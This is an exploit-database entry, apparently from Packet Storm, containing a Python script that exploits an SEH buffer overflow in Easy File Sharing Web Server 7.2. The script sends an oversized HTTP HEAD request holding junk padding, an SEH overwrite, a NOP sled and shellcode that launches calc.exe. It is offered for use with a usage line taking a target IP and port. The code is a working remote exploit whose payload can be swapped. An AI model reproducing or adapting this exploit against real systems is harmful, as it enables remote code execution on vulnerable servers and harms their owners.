Easy File Sharing Web Server 7.2 HEAD SEH Buffer Overflow

2015-12-17T00:00:00
ID PACKETSTORM:134932
Type packetstorm
Reporter ArminCyber
Modified 2015-12-17T00:00:00

Description

                                        
                                            `# Exploit Title: Easy File Sharing Web Server 7.2 - HEAD HTTP request SEH Buffer Overflow  
# Date: 12/2/2015  
# Exploit Author: ArminCyber  
# Contact: Armin.Exploit@gmail.com  
# Version: 7.2  
# Tested on: XP SP3 EN  
# category: Remote Exploit  
# Usage: ./exploit.py ip port  
  
import socket  
import sys  
  
host = str(sys.argv[1])  
port = int(sys.argv[2])  
  
a = socket.socket()  
  
print "Connecting to: " + host + ":" + str(port)  
a.connect((host,port))  
  
entire=4500  
  
# Junk  
buff = "A"*4061  
  
# Next SEH  
buff+= "\xeb\x0A\x90\x90"  
  
# pop pop ret  
buff+= "\x98\x97\x01\x10"  
  
buff+= "\x90"*19  
  
# calc.exe  
# Bad Characters: \x20 \x2f \x5c  
shellcode = (  
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"  
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56"  
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9"  
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97"  
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64"  
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8"  
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a"  
"\x1c\x39\xbd"  
)  
buff+= shellcode  
  
buff+= "\x90"*7  
  
buff+= "A"*(4500-4061-4-4-20-len(shellcode)-20)  
  
# HEAD  
a.send("HEAD " + buff + " HTTP/1.0\r\n\r\n")  
  
a.close()  
  
print "Done..."  
`